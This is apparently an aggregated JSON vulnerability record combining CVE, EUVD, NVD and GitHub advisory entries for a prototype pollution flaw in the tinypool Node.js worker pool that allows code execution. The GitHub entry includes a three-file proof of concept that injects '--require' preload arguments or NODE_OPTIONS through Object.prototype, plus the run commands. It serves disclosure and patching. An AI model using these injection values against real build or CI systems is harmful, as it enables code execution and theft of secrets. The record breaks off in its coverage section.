{"id":"GHSA-5gmw-xhrv-c9v3","revision":null,"records":[{"revision":"d1665de99f2e444b8ca302926d4363b5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-104848","aliases":[],"title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","state":0,"publishedAt":"2026-10-02T16:15:04.101+00:00","modifiedAt":"2026-10-02T17:29:40.5+00:00","affected":[{"ecosystem":"Vendor product","name":"tinypool","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tinylibs\",\n                    \"product\": \"tinypool\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.1.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":"CRITICAL"}],"references":["https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","https://github.com/tinylibs/tinypool/pull/134","https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-104848","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-104848","identifiers":["CVE-2026-104848"]},"retained":false,"historicalAffected":[]},{"revision":"120446f1ed1747fd87c2bc0c44b72470","observedAt":"2026-11-11T05:30:26.997+00:00","statement":{"source":"euvd","id":"EUVD-2026-91718","aliases":["CVE-2026-104848","GHSA-5gmw-xhrv-c9v3"],"title":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited f…","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":null}],"references":["https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","https://github.com/tinylibs/tinypool/pull/134","https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-91718","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 2, 2026, 4:15:04 PM","dateUpdated":"Oct 2, 2026, 5:29:40 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-91718","identifiers":["EUVD-2026-91718","CVE-2026-104848","GHSA-5gmw-xhrv-c9v3"]},"retained":false,"historicalAffected":[]},{"revision":"a6a654bfb4044842858591f54e5c78dc","observedAt":"2026-10-25T04:17:29.458+00:00","statement":{"source":"nvd","id":"CVE-2026-104848","aliases":[],"title":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited f…","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","state":0,"publishedAt":"2026-10-02T17:17:03.473+00:00","modifiedAt":"2026-10-02T18:33:20.487+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.5,"severity":"CRITICAL"}],"references":["https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","https://github.com/tinylibs/tinypool/pull/134","https://github.com/tinylibs/tinypool/releases/tag/v2.1.1","https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104848","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2026-10-02T17:17:03.473","lastModified":"2026-10-02T18:33:20.487"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-104848","identifiers":["CVE-2026-104848"]},"retained":false,"historicalAffected":[]},{"revision":"d20a5a3aac864d088fd4ca550bed7dfd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-5gmw-xhrv-c9v3","aliases":["CVE-2026-104848"],"title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r => {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","state":0,"publishedAt":"2026-10-05T22:50:01+00:00","modifiedAt":"2026-10-05T23:00:04.259459+00:00","affected":[{"ecosystem":"npm","name":"tinypool","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.1.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","https://nvd.nist.gov/vuln/detail/CVE-2026-104848","https://github.com/tinylibs/tinypool/pull/134","https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","https://github.com/tinylibs/tinypool","https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"],"sourceUrl":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5gmw-xhrv-c9v3","identifiers":["GHSA-5gmw-xhrv-c9v3","CVE-2026-104848"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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